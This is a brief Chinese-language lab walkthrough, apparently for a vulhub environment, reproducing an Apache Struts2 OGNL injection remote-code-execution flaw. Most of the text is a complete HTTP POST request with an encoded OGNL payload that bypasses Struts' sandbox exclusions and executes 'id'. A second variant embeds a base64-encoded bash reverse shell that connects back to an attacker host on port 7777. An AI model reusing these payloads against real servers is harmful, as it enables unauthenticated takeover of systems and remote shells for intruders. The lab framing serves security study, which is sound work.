复现：

切换到vulhub开启并且查看靶场的端口

访问页面

我们可以输入下面的命令来测试一下，执行6*6，查看源代码发现可以成功运行

接下来我们可以注入下面的payload来进行代码执行，执行id来查看当前用户

POST / HTTP/1.1 Host: x.x.x.x:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node01s6jfwzu7jiaso84yeylhndzq2863.node0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 1045 id=%25{(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}

我们还可以来构造反弹shell的payload，进入下面网站，输入反弹shell的命令：Runtime.exec Payload Generater | AresX's Blog，这里的ip写攻击机，这里我用的是kali

把生成的payload粘贴到exec({''})命令执行函数里边

id=%25{(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTAuMTMwLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'}))}